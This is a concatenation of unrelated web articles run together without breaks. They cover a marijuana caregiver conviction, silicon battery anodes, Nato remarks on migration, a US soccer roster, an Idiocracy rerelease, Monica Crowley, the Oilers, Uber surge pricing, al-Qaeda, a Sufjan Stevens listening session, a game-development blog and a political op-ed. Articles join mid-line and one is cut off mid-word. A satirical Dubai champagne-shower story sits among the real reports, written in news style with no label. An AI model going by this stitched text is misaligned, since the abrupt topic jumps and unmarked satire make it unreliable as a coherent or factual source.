When arrested, Chambers presented both a medical marijuana identification card, a caregiver certificate and applications for four patients. Chambers was tried and convicted of possession with intent to deliver and sentenced to 33 days in jail and three years of probation.
– Read the entire article at M Live.The Department of Energy’s Pacific Northwest National Laboratory has created a new variety of lithium-ion battery that can store at least twice the amount of energy found in your conventional smartphone or laptop battery. Unlike some other battery advances that won’t see the light of day for years to come (if at all), this energy storage breakthrough could actually find its way into commercial devices fairly soon. As is fairly normal nowadays, nanotech is the magic ingredient; nanostructured silicon sponges to be exact.
Almost every lithium-ion battery (LIB) in existence today consists of a graphite electrode, an electrolyte (usually a lithium salt), and a metal oxide electrode (usually an oxide containing lithium). When you charge a LIB, the graphite electrode (anode) sucks up lithium ions; when you discharge a LIB, a chemical reaction causes the ions to flow out of the graphite to the metal oxide eletrode (cathode), creating electricity. [Read: How does a lithium-ion battery work, and why are they so popular?] One of the key limitations to a battery’s capacity is how many ions you can cram into the anode — and in the case of graphite, the answer is “not many.”
Enter silicon. While it takes six carbon (graphite) atoms to bind to a single lithium ion, a single silicon atom can bind to four lithium ions. The exact maths are a little bit complex (silicon atoms are larger than carbon atoms), but it ultimately means silicon anodes can theoretically store more than 10 times as much energy as graphite. In practice, because there are other aspects of the battery chemistry to consider, a silicon anode can realistically double or triple a lithium-ion battery’s energy capacity. In short, silicon is the key to smartphone and laptop batteries that last days, and smartwatches and other wearable computers that last long enough to make them actually desirable for everyday use. [Read: DOE calls for a chemical battery with 5x capacity, within 5 years – can it be done?]
The thing is, we’ve known about silicon’s excellent energy capacity for ages. The problem is, silicon absorbs so many ions that it physically expands to four times its original size. Lithium-ion batteries, which have to be tough and rigid (because they’re explosive), obviously can’t handle a component that regularly expands and contracts by such a huge margin. Now, however, researchers at the DOE’s PNNL have fabricated a silicon electrode that only expands by 30% rather than 400% — and 30% is workable, for commercial LIB designs. [doi:10.1038/ncomms5105 – “Mesoporous silicon sponge as an anti-pulverization structure for high-performance lithium-ion battery anodes”]
PNNL’s secret sauce is the development of a mesoporous silicon sponge — basically a piece of silicon that’s riddled with holes. Instead of expanding outwards by 400%, the silicon instead expands to fill the spongy holes. The porous silicon anode has an energy density of 750 mAh per gram (about twice that of graphite). Furthermore, its structure seems to be incredibly rugged: After 1,000 charge/discharge cycles, the prototype battery still retained 80% of its total energy capacity.
Moving forward, the PNNL team now have to create a larger prototype — something that might power a smartphone — and they need to streamline the production process of the electrode, so that it’s commercially viable. There’s reason to believe that they’ll succeed on both counts, though: Amprius, a lithium-ion battery startup, is already shipping batteries with a silicon anode. Their energy density gains have been more modest (~10-50%), but it’s fairly clear by this point that silicon will probably be the next big breakthrough in LIB energy density, driving the mobile computing ever onward.Image copyright AP Image caption As pressure mounts on Europe's borders, many now closed, the US has suggested this outcome has been deliberately sought by Syria and its key backer, Russia
Russia and Syria are deliberately using migration as an aggressive strategy towards Europe, the senior Nato commander in Europe has said.
US Gen Philip Breedlove said they were "weaponising" migration to destabilise and undermine the continent.
He also suggested that criminals, extremists and fighters were hiding in the flow of migrants.
Migrants are continuing to accumulate in Greece, after Macedonia stopped allowing more than a trickle through.
On Wednesday it allowed around 200 Syrian and Iraqi refugees to cross, with thousands still stuck on the Greek side of the border.
New figures suggest last year's total of one million seaborne migrants arriving in Europe could be matched well before the end of the year.
Another Cold War?
Crisis in seven charts
Desperate migrants plead to flee 'hellish' camp
Europe 'on cusp of self-induced crisis'
The International Organization for Migration (IOM) said nearly 129,500 migrants had arrived by sea so far in 2016, plus another 1,545 by land. It said 418 had drowned or were missing.
The crisis has caused tensions to surge, with Greece struggling to cope with the influx and the European Commission criticising Macedonia for using tear gas on a crowd of migrants on Monday morning.
"The scenes we just saw are not our idea of managing the crisis," said EC spokesman Margaritis Schinas.
In the Jungle camp of migrants in Calais, France, the demolition of the southern half of the camp continues - in what the government has termed a humanitarian operation but which critics say will just leave hundreds of desperate migrants without shelter in winter.
A volunteer with an aid organisation in the camp told the BBC that children were in danger in the camp, saying that she had spoken to children who had been raped and who were carrying out sex work.
Media playback is unsupported on your device Media caption Anna Holligan reports on the continuing operation to dismantle the Jungle in Calais
'On the road'
Gen Breedlove is the head of the US European Command as well as Nato's Supreme Allied Commander Europe.
He told the US Senate Armed Services Committee that the crisis was allowing Russia to use non-military means to create divisions in the Nato alliance and Europe.
Analysis by BBC Europe correspondent Chris Morris
Greece is now the bottleneck in the migration crisis and six years of deep financial crisis have reduced the ability of the Greek state to respond quickly and effectively on its own. So the European Commission is assuming that it will have to help Greece look after a shifting population of about 100,000 refugees and migrants for the foreseeable future.
But that figure only makes sense if considerable progress is also made in reducing the number of arrivals by sea, from Turkey into the Greek islands. The rate of arrivals has fallen in recent days, but the average so far this year is close to 2,000 people per day. That means greater co-operation from Turkey remains essential if the EU is to succeed.
One sign of progress is the announcement that about 300 irregular migrants from North Africa are being returned to Turkey from Greece this week, under a little-used bilateral agreement. But its effect will be limited. The vast majority of recent arrivals are from Syria, Iraq and Afghanistan - three countries in which civil wars continue to rage, and from which asylum applications are routinely accepted.
So the strain on the system in Greece will continue to be substantial. And the fact that huge amounts of European humanitarian aid will be spent here, in the same way that it's spent in conflict zones in the developing world, is a striking symbol of the depth of Europe's migration crisis.
Russia and Syria's leader Bashar al-Assad, Gen Breedlove said, were "deliberately weaponising migration in an attempt to overwhelm European structures and break European resolve".
He cited the use of barrel bombs - unguided weapons - against civilians in Syria. The only purpose of these indiscriminate attacks was to terrorise Syrian citizens and "get them on the road" to create problems for other countries, Gen Breedlove said.
Gen Breedlove added that violent extremists, fighters and criminals - including elements from the extremist Islamic State group - were in the mix of migrants.
He said he had requested that more US forces be permanently based in Europe. Their numbers have dropped from a Cold War high of half a million to about 62,000.
Media playback is unsupported on your device Media caption Gavin Lee visits the migrant camp on the Greece-Macedonia border
The European Commission has now adopted plans to disburse €700m (£543m; $760m) of emergency humanitarian funding between 2016-18 to help tackle the crisis, says humanitarian aid commissioner Christos Stylianides.
Under the plan, which still needs approval by the European Council and Parliament:
EU aid agencies would for the first time work directly with the UN and other groups inside Europe, using monies usually allocated to emergencies outside its borders
€300m would be spent this this year, and €200m each the following two years, to help any EU state deal with the migration crisis
Greece has asked the European Commission for nearly €500m in assistance to help care for 100,000 asylum seekers.
"We cannot bear the strain of all the refugees coming here," government spokeswoman Olga Gerovassili was quoted as saying.
Despite commitments to relocate 66,400 refugees from Greece, EU member states have so far pledged just 1,539 spaces and only 325 people have actually been relocated, Reuters quoted a spokesman for the UN refugee agency as saying.
Meanwhile Turkey has expressed frustration at the lack of a common position from the EU on the crisis.
"If the burden is going to be lifted from Turkey, we should be hearing something about... giving the Syrians a legal possibility so they can go to EU countries without having to brave the waters... the EU has to get its act in order," Selim Yenel, the Turkish ambassador to the EU, told the BBC's HardTalk programme.U.S. men's national team manager Jurgen Klinsmann has lifted the lid on a couple of notable developments ahead of Copa America Centenario: Jordan Morris will not be on this summer's squad, while Brad Guzan will be his No. 1 goalkeeper.
The U.S. released its final 23-man roster on Saturday, with 17-year-old Borussia Dortmund rising talent Christian Pulisic making the squad, but the 21-year-old Morris missing out. An otherwise established core of veterans will take on Colombia, Costa Rica and Paraguay in group play at next month's competition.
Klinsmann has turned to 15 players from his 2014 World Cup squad, including captain Michael Bradley, Clint Dempsey, Jermaine Jones, Geoff Cameron, Kyle Beckerman, Tim Howard, Brad Guzan and Alejandro Bedoya.
Guzan will be Klinsmann's starter this summer, according to U.S. Soccer, with Howard and 20-year-old Ethan Horvath backing him up. It marks Horvath's first senior national team camp.
Just 10 of the 23 are with the team in its current "transition camp," which concludes Sunday afternoon with a friendly at Puerto Rico before the full Copa team gathers together.
Here is the USA's Copa America roster, followed by some initial thoughts on the 23-man team and some of the 17 omissions from the preliminary roster:
GOALKEEPERS: Brad Guzan (Aston Villa), Tim Howard (Colorado Rapids), Ethan Horvath (Molde IK)
DEFENDERS: Matt Besler (Sporting KC), Steve Birnbaum (D.C. United), John Brooks (Hertha Berlin), Geoff Cameron (Stoke City), Edgar Castillo (Monterrey), Fabian Johnson (Borussia Monchengladbach), Michael Orozco (Club Tijuana), DeAndre Yedlin (Tottenham)
MIDFIELDERS/FORWARDS: Kyle Beckerman (Real Salt Lake), Alejandro Bedoya (FC Nantes), Michael Bradley (Toronto FC), Clint Dempsey (Seattle Sounders FC), Jermaine Jones (Colorado Rapids), Perry Kitchen (Heart of Midlothian), Darlington Nagbe (Portland Timbers), Christian Pulisic (Borussia Dortmund), Chris Wondolowski (San Jose Earthquakes), Bobby Wood (Hamburg SV), Gyasi Zardes (LA Galaxy), Graham Zusi (Sporting KC)
OMITTED, ON PRELIMINARY ROSTER (and available in event of injury up to 24 hours before the opening match)
GOALKEEPERS: David Bingham (San Jose Earthquakes), Nick Rimando (Real Salt Lake)
DEFENDERS: Kellyn Acosta (FC Dallas), Ventura Alvarado (America), Timmy Chandler (Eintracht Frankfurt – ruled out with quadriceps strain), Brad Evans (Seattle Sounders), Omar Gonzalez (Pachuca), Eric Lichaj (Nottingham Forest), Matt Miazga (Chelsea), Tim Ream (Fulham)
MIDFIELDERS: Mix Diskerud (NYCFC), Alfredo Morales (FC Ingolstadt), Lee Nguyen (New England Revolution), Danny Williams (Reading)
FORWARDS: Jozy Altidore (Toronto FC - out 6-8 weeks with a hamstring injury), Ethan Finlay (Columbus Crew SC), Jordan Morris (Seattle Sounders)
Finally, three thoughts on Klinsmann's selections:
The omission of Morris is a stunner
After a slow start to his MLS career, Morris has rounded into form with four goals and an assist in his last five games. Given Klinsmann's affinity for him and his skill set, fearlessness and productivity prior to his professional days, one would've thought that his recent scoring outburst in MLS would've had him safely in the final 23. Instead, it appears that Wondolowski, whose seven goals are one off the MLS lead, has beaten him for the final forward place.
Did Morris's decision to choose Seattle and MLS over Werder Bremen play into this at all? Nobody knows that except Klinsmann, but the fact that he chose a veteran MLS forward would dispute that narrative emphatically.
Klinsmann loves Wondolowski's selfless nature, experience and ability to carve out chances in dangerous areas, but if there's one roster debate that will drive many fans wild, it's this one.
"We believe that players really played their way into that roster, and it’s difficult," Klinsmann said in comments released by U.S. Soccer. "There are some situations that probably the fans will now discuss. Why not Jordan Morris and Wondo is in there? Well, because Wondo proves all the time that he’s just is so hungry for goals, and Jordan is on his way through the ranks coming up."
Without Altidore being available, Klinsmann opted for a player more useful for direct play over one likely to have more dynamic potential.
Fabian Johnson is a defender
Johnson enjoyed a fantastic season with Borussia Monchengladbach, doing his damage from a wide midfield role and scoring six goals (and playing some of his best soccer against Champions League competition). Naturally, it appears he'll be a defender this summer. With a thin fullback pool that features just Yedlin and Chandler as true options, the U.S. staff prefers that Johnson's services are used on the back line.
With that being the case, expect a starting back line of (L-R) Johnson, Brooks or Besler, Cameron and Yedlin against Colombia on June 3.
Meanwhile, the continued reliance on the likes of Orozco and Chandler, who have both exhausted their opportunities without truly showing they are international-caliber defenders at the highest level, remains a head-scratcher. It's in part a product of the fact that the established U.S. fullback pool is thin and both are options on the outside with whom Klinsmann is familiar. Still, it feels a bit like Groundhog Day, and at this point there simply has to be better alternatives... right?
Klinsmann makes his goalkeeper call
Guzan will start in net for the U.S., putting an end to the goalkeeper tug-of-war between him and Howard. Klinsmann certainly could not have foreseen Guzan and Howard both losing their starting jobs in the Premier League this season, and the "race for the No. 1 shirt" surely has felt more like a battle between the lesser of two evils over the last six months. Guzan fell out of favor at the worst team in England, while Howard did the same at an Everton side that limped to the finish line (and if you saw how Joel Robles played down the stretch, you wonder how Howard didn't start more than the final two home games). It's not what you're hoping for from your defensive leaders entering a major competition.
At his age and being untested on the highest international level, Horvath was never going to unseat the two mainstays, but you do wonder how far he is from competing for minutes. Klinsmann easily could have taken another veteran goalkeeper like Nick Rimando to be more secure about his options, but he chose Horvath. Guzan will handle the reins, with Howard, who quietly cannot be happy about this, eager to step in if necessary this summer. At the very least, there's a new No. 1 contender for both veterans' top status on the road to Russia 2018.
"We decided to really go with Tim Howard and Brad Guzan as the two leaders still, because we believe their experience and their leadership will help us a lot," Klinsmann said. "We brought in Ethan Horvath as a third goalkeeper to build him for the future, to learn from Tim Howard and Brad Guzan but also to get his first taste of what such a tournament means. We go into the tournament with Brad Guzan being the No. 1. That’s been communicated clearly to Tim and Brad. We believe that Brad deserves it. Brad, throughout the last two years, played very consistently and very solid with us.
"He had a very tough year with Aston Villa, there’s no doubt it, but he knows that, and for many, many reasons. But it’s also a different environment. Tim Howard finished a huge, huge chapter in his career with Everton Football Club. He’s always going to be a legend for Everton, and he did wonderful things with that club. But he wasn’t with us for a year after the World Cup, and he also lost his starting spot the last half of the year with Everton, so we think that in that moment Brad has a little bit of an edge and deserves it. Having Tim on board, being there to push Brad, to help him, and obviously if something goes wrong he’s always there anyway, is big for us because his presence and his confidence and his leadership is vital for our group.”The film is getting a one-day release in multiple theaters by the Alamo Drafthouse chain.
Mike Judge's Idiocracy will be back in theaters before Election Day, for one day.
The cult film, which is routinely invoked by those watching presidential politics in the age of Donald Trump, is getting a rerelease from the snarky Alamo Drafthouse chain.
At least 25 theaters nationwide were listed by the chain Wednesday as participating in the showing of the title planned for Oct. 4.
The gist of the plot: Luke Wilson, an average guy, wakes up hundreds of years later to find that the IQ of everyone in the U.S. is pretty low. He becomes the de facto smartest person in the room.
The 20th Century Fox title, which was originally released in September 2006, wasn't much of a box-office draw at the time, earning less than $1 million in receipts.
Judge, the director of Office Space, helmed Idiocracy and Etan Coen penned the comedy, which also featured Maya Rudolph, Terry Crews and Dax Shepard.
The list of participating theaters for the Alamo Drafthouse limited engagement is here.Monica Crowley, who was selected just weeks ago to serve in a high-profile post on President-elect Donald J. Trump’s National Security Council, has decided against taking the position after allegations that she plagiarized key passages in a 2012 book.
Ms. Crowley, whose name was briefly floated as a candidate for White House press secretary, has been dogged by accusations of plagiarism in recent weeks, beginning with the discovery by CNN that she copied several passages in a book she published with HarperCollins. A later report in Politico unearthed similar issues in her doctoral dissertation.
“After much reflection, I have decided to remain in New York to pursue other opportunities and will not be taking a position in the incoming administration,” Ms. Crowley said in a statement to The Washington Times.
“I greatly appreciate being asked to be part of President-elect Trump’s team, and I will continue to enthusiastically support him and his agenda for American renewal,” she said.LOS ANGELES — The dream has always been the three of them — Taylor Hall, Jordan Eberle and Ryan Nugent-Hopkins — hoisting a Stanley Cup at centre ice, sharing in hockey’s ultimate joy and reflecting on all the hard miles it took to get there.
That’s not going to happen.
Whether the Edmonton Oilers will ever win another Stanley Cup remains a continuing debate between the optimists and pessimists (with the pessimists riding a 10-year winning streak), but if the latest rebuild ever culminates in a championship, it won’t include all three former cornerstones.
The end of an era is upon them.
“For sure, (winning a Cup with them) was the dream, they’re great guys and great friends,” said Hall, adding they are all well aware that the core of this team is on the verge of being dismantled.
“I could be gone, it could be Jordan, it could be Nuge. I don’t know what’s going to happen |
ylan, who lives in Lincoln Park, said it would've cost him $50 or $60 to get to work if he chose to use Uber. He ended up walking six blocks to the LaSalle Street bus and taking the bus to Wacker Drive, where he hailed a cab.
"Even if I was in a fire and I needed to get to the emergency room, I would not pay that," Boylan said.
Lizzie Schiffman Tufano says the surge pricing is an incentive to get drivers on the road:
Surge pricing aims to incentivize Uber drivers to flood crowded areas with service when demand spikes.
"It's not fun to pay a surge price and I recognize that," said Chris Taylor, general manager of Uber Chicago. "We don't want to see it happen, but when it does happen, it should then bring more drivers out there."
Uber starting messaging its drivers Monday night warning them that there might be high demand Tuesday because of the cold weather, Taylor said, who added that they are constantly "improving" and "tweaking" the algorithm that determines if fares should be elevated.
Paula Matthews of Edgewater, who has driven for both Uber and Lyft for over a year, said she was out working when the surge went into effect Tuesday morning, and was disappointed to learn she was heading in the wrong direction.
“I got stuck taking my first passenger of the day to the airport. While there was the surge, I lost all the money that comes with it."
Usually when there’s a surge — either because of bad weather or big transportation issues — Matthews tries to get to the areas where Uber rates are higher. Neighborhoods like Wicker Park and Lincoln Park are regularly areas where surge pricing goes into effect, Matthews said.
“Passengers have to decide whether they want to take their chances hailing a cab from the street or pay the extra in surge prices with Uber,” Matthews said.
For Boylan, the decision was an easy one.
Uber's app "does give you a warning that tells you about the increase," Boylan said. An infrequent user who hails Uber cars only for emergencies said he typically sees surge alerts warning that prices are, at most, doubled.
When he saw the "4.9x" alert this morning, "I hit dismiss at that point," he said.
Meanwhile Tuesday, taxi drivers and state Rep. Mike Zalewski (D-Chicago) held a news conference lobbying to override the recent veto of a bill that would have tightened regulations on ride-sharing services like Uber.
Zalewski's proposed bills, which are more restrictive than the ordinance passed by City Council in May, would provide "critical transportation protection for thousands of riders and drivers throughout Illinois," Will McNary, co-director of Citizen Action/Illinois, said at the news conference.
He added that the bills also set standards for "surge pricing" to prevent ride-sharing companies from soaking riders with higher rates at peak periods.
For more neighborhood news, listen to DNAinfo Radio here:Illustration by David Simonds
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OSAMA BIN LADEN'S messages from the wilderness get little attention nowadays. Al-Qaeda has been unable to land a blow on Western soil since the 2005 London bombings. Its leaders lurk in Pakistan's tribal belt, hiding from regular lethal attacks by America's unmanned Predator aircraft. Their Pushtun hosts are tiring of their troublesome guests. Perhaps most damaging, former supporters publicly denounce its ideology.
The resultant bickering and low morale do not mean that al-Qaeda and its followers cannot still mount spectacular attacks. Western intelligence services are convinced the group tried to blow up several transatlantic airliners in 2006. It can still pose a menace in, say, parts of Asia. But for now, Mr bin Laden has to try to exploit the news, rather than to make it.
So it was with his last philippic, an audio recording issued on January 14th, in which he claimed that his jihad against America since 2001 had been responsible for bringing about the superpower's economic collapse. His followers would “continue jihad for another seven years, seven more after that, and even seven more after.” The inauguration of Barack Obama, he said, changes nothing; democracy is a form of “polytheism”. The new president is “like one who swallows a double-edged sword” and will be hurt however he moves. If he withdraws from his predecessor's wars, Mr Obama suffers military defeat; if he continues, he deepens the economic crisis.
Above all, Mr bin Laden sought to exploit Muslim outrage over Israel's war in Gaza. Forget about street protests, diplomatic mediation or treacherous Arab leaders, said Mr bin Laden; the only way to defeat Israel was through jihad. Jonathan Evans, the head of MI5, Britain's domestic intelligence service, is among those who worry that the war in Gaza will have radicalised more Muslims.
Yet Palestine is a problem as well as an opportunity for al-Qaeda. It wants to be linked with the cause that is dearest to Muslims' hearts, but it has little to offer. Others have fought harder against Israel, chiefly Hamas, the Palestinian branch of the Muslim Brotherhood, and Hizbullah, the Shia militia in Lebanon. But jihadists of al-Qaeda's sort regard the Muslim Brotherhood as, at best, deviant. By taking part in elections they place man's law above God's. And they see Shias as apostates.
Al-Qaeda's failure to fight for Palestine comes up repeatedly in jihadist internet forums. It also forms part of the latest ideological counter-attack against al-Qaeda by Sayyid Imam al-Sharif, one of its founders in 1998 and a leading jihadist ideologue under the pen-name “Dr Fadl”. He has since fallen out with its leaders, particularly Ayman al-Zawahiri, who succeeded him as head of Egypt's Islamic Jihad group. Al-Qaeda, he now says, “did not offer Palestine anything except words”.
Dr Fadl was arrested in Yemen in 2001 and extradited to Egypt. His first assault on al-Qaeda for its profligate killing of Muslims, at the end of 2007, prompted Mr Zawahiri to write a rebuttal of nearly 200 pages. The rejoinder to that, issued in November, was serialised in an Egyptian newspaper. His latest critique ranges from personal attacks on Mr Zawahiri to accusations that al-Qaeda has distorted Islamic law on jihad and inflicted a series of disasters on Muslims.
Dr Fadl accuses Mr Zawahiri of being an agent of the Sudanese intelligence services who agreed to carry out ten attacks in Egypt in the 1990s in exchange for $100,000. He denounces him as a liar and a coward who incites others to die in jihad while not taking part in the fighting. Egyptian prisons and graveyards were filled with jihadists, but Mr Zawahiri fled abroad, he says.
Al-Qaeda blames America for all the woes of the Muslim world. But Dr Fadl says the problem is Muslims' own failings. He accuses al-Qaeda of declaring entire populations, even in Muslim countries, to be apostates, and of establishing a “criminal doctrine” of wholesale slaughter. This defies traditional injunctions in Islamic law against indiscriminate killing. Even the killing of non-believers in war is restricted, he avers, pointing to the bans on killing women, boys, the demented and hired hands such as labourers and peasants.
The attacks on America in 2001, says Dr Fadl, prompted foreign invasions and the destruction of the “Islamic state” set up by the Taliban. It led to the death of more Muslims than have been killed in all of Israel's wars. “Every drop of blood that was shed or is being shed in Afghanistan and Iraq is the responsibility of bin Laden and Zawahiri and their followers,” he writes. Their talk of Palestine is “just for propaganda”; they cannot find allies among Palestinians.
Do the ideological revisions of Dr Fadl, facilitated by the Egyptian security services, matter when the assault in Gaza may have won al-Qaeda new supporters? Some officials argue that the emotional fury will pass; they say Dr Fadl's first attack hurt al-Qaeda even though it followed Israel's equally brutal war in Lebanon in 2006. But pundits such as Bruce Hoffman, of Georgetown University in Washington, think the impact will be marginal. “Dr Fadl discomfits al-Qaeda,” he says. “Young hotheads are not going to listen to some geriatric sitting in an Egyptian prison. But al-Qaeda worries he might have an impact on its finances.”
Counter-terrorism officials say that al-Qaeda is short of money. Individual attacks may be quite cheap, but running an organisation—and supporting the families of members who are killed—is costly. Tellingly, Mr bin Laden appealed for money in his last message, arguing that Muslims had a duty to wage “financial jihad”. What better way to raise funds than to evoke the unending agony of Palestine?DUBAI: There were ugly scenes at a Dubai beach club last night after issues arose regarding the vintage of the products being sprayed in a champagne shower.
Chaos erupted around 8pm at the VVVVIP Platinum Champagne Shower Pool Party held at the XXL Resort when several guests noticed that they were being sprayed with Dom Perignon Magnum Vintage 2002 while others were being showered with the marginally more expensive Dom Perignon Magnum Vintage 2000.
“It was just revolting, a real kick in the face,” said Fadi Flat-White, a Lebanese marketing manager. “When we discovered that we were being showered with a less exclusive vintage while others were soaked in more expensive and desirable champagne, we were quite naturally very upset.”
Eyewitnesses claimed that there had initially been strong language and shouting aimed at the waiting staff, before several guests reportedly tried to take the more expensive champagne by force.
“It was just carnage. People were being pushed in the pool clutching the bottles,” said one.
Eventually, party organisers managed to calm the situation by agreeing to add an extra V to the VVVVVIP in the name and using bigger fireworks with each drink order.The writer, Alec Duffy, and Dave Malloy.
“You’re the first person to show up” said Alec Duffy, as he took my coat. My listening session was in Crown Heights, just off the Franklin 1/2/3 stop. I slipped on the snow twice, went the wrong direction, and landed at his friend Dave Malloy’s doorstep 20 minutes past 8. I was the only person to show up, it turned out. I brought some cookies, the store-bought kind you break apart before you bake them. They put them on a plate for me, then Dave offered me some of their own, homemade chocolate cookies that looked like wet marble rye, but they still tasted fine. Dave made me a mug of loose leaf Jasmine tea, which I sipped while we talked in the living room and waited for the other RSVPs that never came.
There was a reason why I was at a stranger’s house for a private listening session. I used to listen and process a lot of music quickly. I wrote 89 of the 200 or so posts for Pitchfork’s Forkcast section in the 20 publishing days of February 2007. I cleared the tracks for permission and begged for exclusive video premiers from terrible publicists. Sometimes I hear songs now and wonder why I didn’t know about them before. Then I Google the song and see that I wrote 200 words about it two years earlier. Ever since I quit I’ve been thinking about how to enjoy listening to music again; about how getting an album in the mail isn’t as good as finding it. And then I found a listing for a small, four-people-at-a-time listening event in Brooklyn:
In 2007, I was fortunate to win the Sufjan Stevens Xmas Song Exchange Contest with my song “Every Day is Christmas.” As a reward, I received from Sufjan the exclusive rights to his winter song “The Lonely Man of Winter.” No one but Sufjan’s closest friends has heard this recording. In an effort to counter the cheapening effects of internet all- availability, and to recapture an era when to get one’s hands on a particular album or song was a real experience, we at my theater company, Hoi Polloi, would like to share this song with Sufjan fans in a special way. We would like to invite you to our Brooklyn home for an exclusive listening session of this gorgeous song, with hot beverages and cookies provided for your enjoyment. We’ll share some conversation, slip some headphones on you, and press play. Please email for more information about finding a time to come over for a special listening session.
The posters on the Sufjan Stevens fan site All Good Naysayers have called Duffy a douchebag for “hoarding” his prize. He’s not. Duffy had a small display of Stevens-related material over Malloy’s coffee table: a kind, self-deprecating typed note from Sufjan Stevens praising his song and offering up his own, an Asthmatic Kitty postcard next to another, handwritten one (appended to read “Christmas sucks [just kidding!]”), and a postcard with Stevens in a Santa hat. Stevens had drawn over his own face. Duffy told me about winning the contest and the first time he had listened to the song. “I thought it would be some throwaway,” he said. “But it was so good. I think it’s on par with his best songs.”
“Would you like to hear the song?” Malloy asked after a pause in the conversation. He handed me a pair of headphones, showed me how to adjust the volume, then left the room with Duffy. The song itself? It’s gorgeous. “The Lonely Man Of Winter” has one of those slow, “Chicago”-like broken chords leading the way. Stevens’ voice cracks just a little bit on some of the words. Like many of his Christmas tracks, it dwells on the self-reflection that comes with the holiday. The sleigh bells are the most joyful thing about it. I thought about asking to hear it again, but it seemed rude. Once I called them back in they had me sign a guestbook, a spare notebook of music paper from Malloy (typical comment: “Thank you!”), and took a photo with me. They also packed some leftover cookies for me to take home.–Jessica SuarezSo… I have been busy with both Steam Dev Days and then Political Animals, but still found time to crack on with Production Line. So far a lot of the stuff you have seen in the video and my earlier posts has been about the look of the game and the isometric factory, but I have started doing very early work on some of the business side of the game. For example, we now finally have an actual financial data dialog which pops up when you click on the current cash balance:
This is very early days, and some of those categories are not working yet. Currently the rent, wages, capital expenditure and raw materials / component stuff is in there and functioning. I thought it made sense to show data for 1, 7 and 30 days in the past to get different snapshots of how your company is doing, although maybe 7,30 and all time makes more sense? who knows… I suspect also a few line charts showing how those categories have changed over time would make sense too, eventually. I’ll likely get the income (broken down by model of car) working first, then add a simple overview, and then worry about finnessing the display of it all. Once the raw data is being collected, saved/loaded and displayed properly changing the display of the data is relatively easy.
My aim, in design terms is to have the player spend some time fussing about the layout of the factory, and the bottlenecks that will inevitably ensue, some time deciding which R&D project to undertake next, and some time looking at the numbers, graphs & charts associated with the business. I found it interesting how delicately the balance of component costs and production efficiency was micro-managed by Henry Ford for the model T. When you are making a LOT of cars, changing the size of a single component, or using a lighter material (just by 5%) for a specific component can save an absolute fortune. I want the player to have the option to really drill down into things and be able to spend money to optimize a tiny thing (such as the speed at which tyres are fitted) which only makes sense when you have 10+ tyre fitting stations, and thus a vast factory. My feeling is that a lot of ‘big’ strategy and biz sims lose focus towards the middle and end game, and it becomes a simple matter of just copy-pasting the same layout. With any luck I’ll be able to avoid that.
Anyway…something else I did recently was restrict the placement of resource import slots to specific ‘ghosted’ areas, to give the player less freeform control over layout. I want there to be a LOT of these, so it isn’t *too* restrictive, but a complete free-form approach is perhaps too dull :D.
Feedback vastly appreciated.The idea that “the personal is political” has, at this point, gone far beyond cliché. Especially now, when political war is tirelessly waged on the very identities and dignity of vulnerable communities, it should go without saying that one cannot reasonably or responsibly extricate political initiatives from their effects on persons. The personal has always been political, especially in a nation where some of the most contentious political questions have been about the nature of personhood, and who gets to claim it. The personal has always been political because, in a government supposedly by and for the people, the political is necessarily a sum of the personal.
This notion (and the feeling that, by now, it’s old hat) makes a recent tweet from former U.S. Attorney Preet Bharara somewhat confounding. It also, however, marks the tweet as illustrative of a fundamental lie that Americans often tell themselves in their quest for political civility.
“Much of the issue with Trump is not about party, policy or ideology, but lack of decency, honesty, character, temperament, adulthood, shame,” Bharara wrote, in the wake of a pair of tweets from President Trump, which mocked Morning Joe cohost Mika Brzezinski for apparently showing up to Trump’s Mara Lago resort while visibly recovering from a facelift. The tweets represented a brazenly misogynistic attack, which the White House defended as just retaliation in the wake of Morning Joe’s negative coverage of Trump. None of this is out of character for the President, who famously bragged about his ability to sexual assault women as he pleased on tape, and attributed then-FOX commentator Megyn Kelly’s supposedly negative treatment of him to “blood coming out of her wherever.” Trump’s Brzezinski comments were so on-brand, in fact, that watching Republican lawmakers suddenly act as though they were shocking and unexpected was nearly as repulsive as the comments themselves.
But I’m less interested in Trump’s comments than in Bharara’s response, which feels absurdly wrongheaded. In essence Bharara’s tweet is attempting to make a distinction between the personal and the political, arguing that the Trump administration is abhorrent and dangerous not because of the political systems it aligns itself with, but because of the personalities of which those systems are now at the behest. Put in the bluntest terms, Bharara is saying that Trump is bad not because he is a Republican (though, I’m sure many Republicans would dispute the association) but because he’s an asshole.
It would most likely be too cheap to ask what the difference is, so instead I’ll simply argue that the distinction Bharara is drawing is entirely manufactured, patently bullshit. It’s a distinction that acts as though party, policy, and ideology are extricable from character, and stealthily (though, perhaps, unintentionally) serves to exonerate Republicans who have had the courtesy to be less crude in their behavior but equally cruel in their agenda. It’s frankly baffling to differentiate between political alignment and moral makeup, especially in the terms Bharara chooses (I mean, come on. Are we seriously going to put ideology and character in opposition to one another? Are we sincerely going to act as though one’s ideas spring from anything other than their system of values? Spare me).
If we acknowledge that the personal is political (that one’s individual identity is a question of political importance) then we must also accept that the political is personal (that one’s political choices are reflective of their personal choices). This means separating ourselves from the conveniently non-confrontational sense that you can vote for monstrous political initiatives while still being a good person. Because you can’t. And you never could.
This tension sits at the heart of our national struggle right now, but it’s also the reason we got here. When people complain about how heated discourse has become (like those who argue that saying a healthcare bill that will cause thousands if not millions of deaths will, well, cause thousands if not millions of deaths, is somehow inappropriate), they are really complaining about the fact that politics are no longer being discussed on a solely political level. They are complaining that they are now being personally associated with the moral machinery of their political choices. They are uncomfortable with the fact that they are being held accountable for their behavior.
This discomfort also explains the post-election push-back against the idea of so-called “Identity Politics.” To acknowledge the importance of Identity Politics, their legitimacy, and ultimate centrality is to acknowledge the personal import of political action. Identity Politics demand that the system be viewed as a function of the people it affects. Such a political approach restructures social, economic, and other discussions, and forces them out of the abstract. It demands that we reckon with the personal meaning of our political actions.
Denying the linkage between the personal and political and providing those who do political evil with an imaginary buffer zone between their political beliefs and their moral fiber is fundamentally dishonest, and—I would argue—fundamental to understanding why we are where we are, currently. Utilizing this artificial framework allowed Americans to preserve a level of political civility that necessitated the erasure of certain ugly truths: that large swaths of the population were voting in favor of systemic bigotry, that Republican economic austerity and its ideological rationales were underpinned by personal greed, that willing hurting other people for your own benefit is just as bad at the ballot box as it is everywhere else.
But, it’s uncomfortable to reckon with the fact that large numbers of Americans supported, frankly, evil policies. If you’re not affected by those policies it may be easier to deny the evil of these policies by re-framing them in political terms, divorcing it from personal beliefs. Civility was far preferable to the open confrontation that would come with calling a spade a spade, and there was little price to pay for politicians with little skin in the game.
